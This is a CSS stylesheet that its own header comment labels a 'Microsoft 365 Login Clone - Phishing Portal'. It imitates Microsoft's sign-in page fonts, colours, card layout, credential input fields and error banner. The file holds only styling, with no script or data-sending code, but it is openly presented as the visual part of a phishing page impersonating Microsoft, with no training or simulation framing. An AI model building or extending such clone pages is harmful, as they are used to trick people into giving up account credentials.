/* Microsoft 365 Login Clone - Phishing Portal */
* { box-sizing: border-box; }
body {
    margin: 0;
    font-family: 'Segoe UI', 'Segoe UI Web (West European)', 'Segoe UI', -apple-system, BlinkMacSystemFont, Roboto, 'Helvetica Neue', sans-serif;
    font-size: 15px;
    color: #1b1b1b;
    background: linear-gradient(180deg, #faf9f8 0%, #f3f2f1 40%, #edebe9 100%);
    min-height: 100vh;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
}
.container {
    width: 100%;
    max-width: 440px;
    padding: 0 24px;
}
.logo {
    margin-bottom: 24px;
}
.logo svg {
    width: 108px;
    height: 24px;
}
.card {
    padding: 44px;
    border: 1px solid #e1dfdd;
    border-radius: 2px;
    background: #fff;
    box-shadow: 0 2px 6px rgba(0,0,0,.07);
}
h1 {
    font-size: 24px;
    font-weight: 600;
    margin: 0 0 12px;
    color: #1b1b1b;
}
.subtitle {
    font-size: 15px;
    color: #605e5c;
    margin-bottom: 24px;
}
.form-group {
    margin-bottom: 16px;
}
.form-group label {
    display: block;
    font-size: 14px;
    font-weight: 600;
    margin-bottom: 6px;
    color: #323130;
}
.form-group input {
    width: 100%;
    padding: 8px 12px;
    font-size: 15px;
    border: 1px solid #605e5c;
    border-radius: 2px;
    background: #fff;
    height: 44px;
}
.form-group input:focus {
    outline: none;
    border-color: #0078d4;
    box-shadow: 0 0 0 2px rgba(0,120,212,.2);
}
.form-group input::placeholder {
    color: #8a8886;
}
.btn-primary {
    width: 100%;
    padding: 8px 16px;
    font-size: 15px;
    font-weight: 600;
    height: 44px;
    background: #0078d4;
    color: #fff;
    border: none;
    border-radius: 2px;
    cursor: pointer;
    margin-top: 16px;
}
.btn-primary:hover {
    background: #106ebe;
}
.btn-primary:disabled {
    background: #c8c6c4;
    cursor: not-allowed;
}
.links {
    margin-top: 24px;
    font-size: 13px;
}
.links a {
    color: #0078d4;
    text-decoration: none;
}
.links a:hover {
    text-decoration: underline;
}
.footer {
    margin-top: 48px;
    padding: 0 16px 24px;
    font-size: 12px;
    color: #605e5c;
    text-align: center;
    line-height: 1.5;
}
.footer a {
    color: #0078d4;
    text-decoration: none;
}
.footer a:hover { text-decoration: underline; }
.footer .separator {
    margin: 0 8px;
    color: #8a8886;
    font-weight: 400;
    pointer-events: none;
}
.identity {
    margin-top: 16px;
    padding: 12px;
    background: #f3f2f1;
    border-radius: 2px;
    font-size: 13px;
    color: #323130;
}
.identity strong { display: block; margin-bottom: 4px; }
.error-msg {
    background: #fde7e9;
    color: #a80000;
    padding: 12px;
    border-radius: 2px;
    font-size: 13px;
    margin-bottom: 16px;
    display: none;
}
.error-msg.visible { display: block; }